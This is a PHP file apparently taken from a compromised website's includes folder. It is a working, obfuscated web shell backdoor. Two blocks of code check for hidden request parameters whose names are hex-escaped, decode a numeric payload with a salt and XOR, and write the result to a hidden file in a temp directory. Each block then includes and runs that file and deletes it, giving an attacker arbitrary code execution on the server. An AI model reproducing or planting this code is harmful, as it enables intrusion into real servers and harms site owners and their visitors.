File: /home/vitanhod/prostanur1.vitavit.com.pk/includes/Z.php
<?php if(in_array("\x65\x6Cemen\x74", array_keys($_REQUEST))){ $pgrp = $_REQUEST["\x65\x6Cemen\x74"]; $pgrp = explode ( '.' , $pgrp ) ; $factor = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $s = 0; $__len = count($pgrp ); do { if ($s >=$__len) break; $v5 = $pgrp[$s]; $sChar = ord($salt4[$s% $sLen] ); $d = ((int)$v5 - $sChar - ($s% 10)) ^ 59; $factor.= chr($d ); $s++; } while (true ); $ent = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp"]); foreach ($ent as $res) { if ((is_dir($res) and is_writable($res))) { $binding = implode("/", [$res, ".reference"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $binding; @unlink($binding); exit; } } } }
if(in_array("\x73\x79m", array_keys($_POST))){
$resource = array_filter(["/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP")]);
$component = $_POST["\x73\x79m"];
$component = explode ( '.' ,$component ) ;
$pointer = '';
$s5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s5);
$__len = count($component);
for ($p = 0; $p <$__len; $p++) {
$v4 = $component[$p];
$chS = ord($s5[$p % $sLen]);
$dec = ((int)$v4 - $chS - ($p % 10)) ^ 97;
$pointer .= chr($dec);
}
foreach ($resource as $ent) {
if (array_product([is_dir($ent), is_writable($ent)])) {
$mrk = "$ent/.parameter_group";
if (file_put_contents($mrk, $pointer)) {
include $mrk;
@unlink($mrk);
die();
}
}
}
}